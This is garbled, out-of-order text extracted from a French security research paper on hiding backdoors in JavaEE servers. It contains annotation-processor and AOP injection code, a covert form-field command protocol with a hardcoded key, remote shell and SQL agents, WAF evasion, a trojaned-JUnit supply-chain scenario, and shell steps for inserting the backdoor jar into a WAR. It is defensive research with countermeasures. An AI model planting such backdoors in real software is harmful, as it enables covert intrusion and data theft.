Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

